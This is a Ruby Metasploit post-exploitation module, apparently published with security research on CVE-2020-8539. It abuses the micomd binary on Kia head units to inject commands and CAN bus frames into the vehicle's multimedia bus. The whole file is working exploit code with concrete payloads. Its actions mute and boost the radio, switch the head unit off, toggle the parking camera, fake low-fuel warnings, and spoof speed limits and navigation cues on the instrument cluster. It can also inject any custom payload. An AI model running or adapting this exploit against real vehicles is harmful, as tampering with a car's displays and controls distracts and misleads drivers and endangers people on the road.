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# frozen_string_literal: true
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'KOFFEE - Kia OFFensivE Exploit',
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        'Description' => %q{
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          This module exploits CVE-2020-8539, which is an arbitrary code execution vulnerability that allows an to
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          attacker execute the micomd binary file on the head unit of Kia Motors. This module has been tested on
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          SOP.003.30.18.0703, SOP.005.7.181019 and SOP.007.1.191209 head unit software versions. This module, run on an
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          active session, allows an attacker to send crafted micomd commands that allow the attacker to control the head
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          unit and send CAN bus frames into the Multimedia CAN (M-Can) of the vehicle.
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        },
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        'SessionTypes' => ['meterpreter'],
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        'Author' => [
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          'Gianpiero Costantino',
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          'Ilaria Matteucci'
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        ],
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        'References' => [
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          ['CVE', '2020-8539'],
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          ['URL', 'https://sowhat.iit.cnr.it/pdf/IIT-20-2020.pdf']
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        ],
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        'Actions' => [
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          [ 'TOGGLE_RADIO_MUTE', { 'Description' => 'It mutes/umutes the radio' } ],
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          [ 'REDUCE_RADIO_VOLUME', { 'Description' => 'It decreases the radio volume' } ],
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          [ 'MAX_RADIO_VOLUME', { 'Description' => 'It sets the radio volume to the max' } ],
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          [ 'LOW_SCREEN_BRIGHTNESS', { 'Description' => 'It decreases the head unit screen brightness' } ],
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          [ 'HIGH_SCREEN_BRIGHTNESS', { 'Description' => 'It increases the head unit screen brightness' } ],
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          [ 'LOW_FUEL_WARNING', { 'Description' => 'It pops up a low fuel message on the head unit' } ],
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          [ 'NAVIGATION_FULL_SCREEN', { 'Description' => 'It pops up the navigation app window' } ],
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          [ 'SET_NAVIGATION_ADDRESS', { 'Description' => 'It pops up the navigation address window' } ],
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          [ 'SEEK_DOWN_SEARCH', { 'Description' => 'It triggers the seek down radio frequency search' } ],
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          [ 'SEEK_UP_SEARCH', { 'Description' => 'It triggers the seek up radio frequency search' } ],
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          [ 'SWITCH_ON_HU', { 'Description' => 'It switches on the head unit' } ],
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          [ 'SWITCH_OFF_HU', { 'Description' => 'It switches off the head unit' } ],
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          [ 'CAMERA_REVERSE_ON', { 'Description' => 'It shows the parking camera video stream' } ],
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          [ 'CAMERA_REVERSE_OFF', { 'Description' => 'It hides the parking camera video stream' } ],
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          [ 'CLUSTER_CHANGE_LANGUAGE', { 'Description' => 'It changes the cluster language' } ],
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          [ 'CLUSTER_SPEED_LIMIT', { 'Description' => 'It changes the speed limit shown in the instrument cluster' } ],
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          [ 'CLUSTER_ROUNDABOUT_FARAWAY', { 'Description' => 'It shows a round about signal with variable distance in the instrument cluster ' } ],
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          [ 'CLUSTER_RANDOM_NAVIGATION', { 'Description' => 'It shows navigation signals in the instrument cluster ' } ],
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          [ 'CLUSTER_RADIO_INFO', { 'Description' => 'It shows radio info in the instrument cluster ' } ],
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          [ 'INJECT_CUSTOM', { 'Description' => 'It injects custom micom payloads' } ]
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        ],
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        'DefaultAction' => 'TOGGLE_RADIO_MUTE',
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        'Platform' => 'Android',
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        'DisclosureDate' => '2020-12-02',
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        'License' => MSF_LICENSE,
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [SCREEN_EFFECTS, CONFIG_CHANGES, IOC_IN_LOGS],
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          'Reliability' => []
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        }
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      )
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    )
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    register_options([
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      OptString.new('MICOMD', [true, 'Path to micomd executable', '/system/bin/micomd']),
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      OptString.new('PERIOD', [true, 'Time (ms) interval between two MICOM commands, aka Period of CAN frames', '0.200']),
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      OptInt.new('NUM_MSG', [true, 'Number of MICOM commands sent each time', '5']),
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      OptString.new('CMD_PAYLOAD', [ false, 'Micom payload to inject, e.g.,  cmd byte1 byte3 byte2', '00 00 00'], conditions: %w[ACTION == INJECT_CUSTOM]),
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    ])
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  end
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  def send_in(m_cmd)
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    cmd = "#{datastore['MICOMD']} -c inject #{m_cmd}"
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    cmd_exec(cmd)
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    print_good(' -- Command Sent -- ')
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  end
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  def send_out(m_cmd)
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    cmd = "#{datastore['MICOMD']} -c inject-outgoing #{m_cmd}"
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    cmd_exec(cmd)
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    print_good(' -- Command Sent -- ')
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  end
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  def send_custom(m_cmd)
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    cmd = "#{datastore['MICOMD']} -c inject #{m_cmd}"
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    var = 0
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    while var < datastore['NUM_MSG'].to_s.to_i
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      cmd_exec(cmd)
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      var += 1
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      print_status("> Sending #{var} out of #{datastore['NUM_MSG']}")
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      sleep(datastore['PERIOD'].to_s.to_f)
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    end
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    print_good(' -- Custom payload Sent-- ')
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  end
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  def send_out_custom(m_cmd)
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    cmd = "#{datastore['MICOMD']} -c inject-outgoing #{m_cmd}"
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    var = 0
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    while var < datastore['Num_msg'].to_s.to_i
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      cmd_exec(cmd)
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      var += 1
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      print_status("> Sending #{var} out of #{datastore['NUM_MSG']}")
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      sleep(datastore['PERIOD'].to_s.to_f)
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    end
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    print_good(' -- CAN bus frames sent-- ')
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  end
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  def run
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    # all conditional options are required when active, make sure none of them are blank
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    options.each_pair do |name, option|
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      next if option.conditions.empty?
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      next unless Msf::OptCondition.show_option(self, option)
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      fail_with(Failure::BadConfig, "The #{name} option is required by the #{action.name} action.") if datastore[name].blank?
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    end
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    print_status(' -- Starting action -- ')
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    send("action_#{action.name.downcase}")
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  end
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  def action_toggle_radio_mute
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    print_status(' -- Mute/umute radio -- ')
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    send_in('8351 04')
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  end
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  def action_reduce_radio_volume
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    print_status(' -- Reduce radio volume -- ')
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    send_out('0112 F4 01')
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  end
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  def action_max_radio_volume
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    print_status(' -- Max radio volume -- ')
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    send_out('0112 F0')
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  end
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  def action_low_screen_brightness
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    print_status(' -- Low screen brightness -- ')
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    send_in('8353 07 01')
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  end
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  def action_high_screen_brightness
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    print_status(' -- High screen brightness -- ')
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    send_in('8353 07 00')
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  end
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  def action_low_fuel_warning
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    print_status(' -- Low fuel warning -- ')
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    send_in('8353 0B 01')
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  end
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  def action_navigation_full_screen
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    print_status(' -- Navigation windows full screen -- ')
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    send_in('8353 0C 01')
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  end
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  def action_set_navigation_address
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    print_status(' -- Navigation address window pops up -- ')
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    send_in('8353 0D 03')
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  end
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  def action_seek_down_search
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    print_status(' -- Seek down radio search -- ')
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    send_out('133 01')
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  end
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  def action_seek_up_search
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    print_status(' -- Seek up radio search -- ')
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    send_out('133 02')
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  end
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  def action_switch_on_hu
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    print_status(' -- Switch on Head unit -- ')
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    send_out('170 01')
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  end
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  def action_switch_off_hu
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    print_status(' -- Switch off Head unit -- ')
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    send_out('170 00')
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  end
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  def action_camera_reverse_on
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    print_status(' -- Parking camera video stream on -- ')
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    send_in('8353 03 01')
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  end
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  def action_camera_reverse_off
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    print_status(' -- Parking camera video stream off -- ')
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    send_in('8353 03 00')
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  end
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  def action_cluster_change_language
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    print_status(' -- Korean -- ')
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    send_out_custom('4D3 01')
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    print_status(' -- Arabic -- ')
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    send_out_custom('4D3 08')
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    print_status(' -- Polish -- ')
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    send_out_custom('4D3 0E')
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    print_status(' -- Italian -- ')
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    send_out_custom('4D3 12')
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  end
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  def action_cluster_speed_limit
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    print_status(' -- Chaning speed limit on the instrument cluster -- ')
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    send_out_custom('4DB 00 0A')
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    send_out_custom('4DB 00 2A')
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    send_out_custom('4DB 00 3A')
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    send_out_custom('4DB 00 5A')
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    send_out_custom('4DB 00 7A')
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    send_out_custom('4DB 00 9A')
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    send_out_custom('4DB 00 AA')
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    send_out_custom('4DB 00 BA')
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  end
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  def action_cluster_roundabout_faraway
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    print_status(' -- km -- ')
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    send_out_custom('4D1 66 00 00 00 14 86 10 00')
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    print_status(' -- mi -- ')
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    send_out_custom('4D1 66 00 00 00 14 86 20 00')
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    print_status(' -- ft -- ')
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    send_out_custom('4D1 66 00 00 00 14 86 30 00')
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    print_status(' -- yd -- ')
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    send_out_custom('4D1 66 00 00 00 14 86 40 00')
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    print_status(' -- No distance -- ')
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    send_out_custom('4D1 66 00 00 00 14 86 50 00')
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  end
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  def action_cluster_random_navigation
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    print_status(' -- Calculating the route -- ')
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    send_out_custom('4D1 09')
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    print_status(' -- Recalculating the route -- ')
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    send_out_custom('4D1 0A')
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    print_status(' -- Straight ahead -- ')
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    send_out_custom('4D1 0D')
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    print_status(' -- Exit on the Right -- ')
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    send_out_custom('4D1 13')
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    print_status(' -- Exit on the Left -- ')
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    send_out_custom('4D1 14')
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  end
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  def action_cluster_radio_info
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    print_status(' -- USB Music -- ')
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    send_out_custom('4D6 65')
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    print_status(' -- Android Auto -- ')
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    send_out_custom('4D6 6F')
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    print_status(' -- FM 168.17 -- ')
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    send_out_custom('4D6 11 9D 00 00 00 00 5F 83')
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    print_status(' -- FM1 168.17 -- ')
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    send_out_custom('4D6 12 9D 00 00 00 00 5F 83')
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    print_status(' -- FM2 168.17 -- ')
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    send_out_custom('4D6 13 9D 00 00 00 00 5F 83')
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  end
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  def action_inject_custom
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    print_status(" -- Injecting custom payload  (#{datastore['CMD_PAYLOAD']}) -- ")
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    send_custom(datastore['CMD_PAYLOAD'])
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  end
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end
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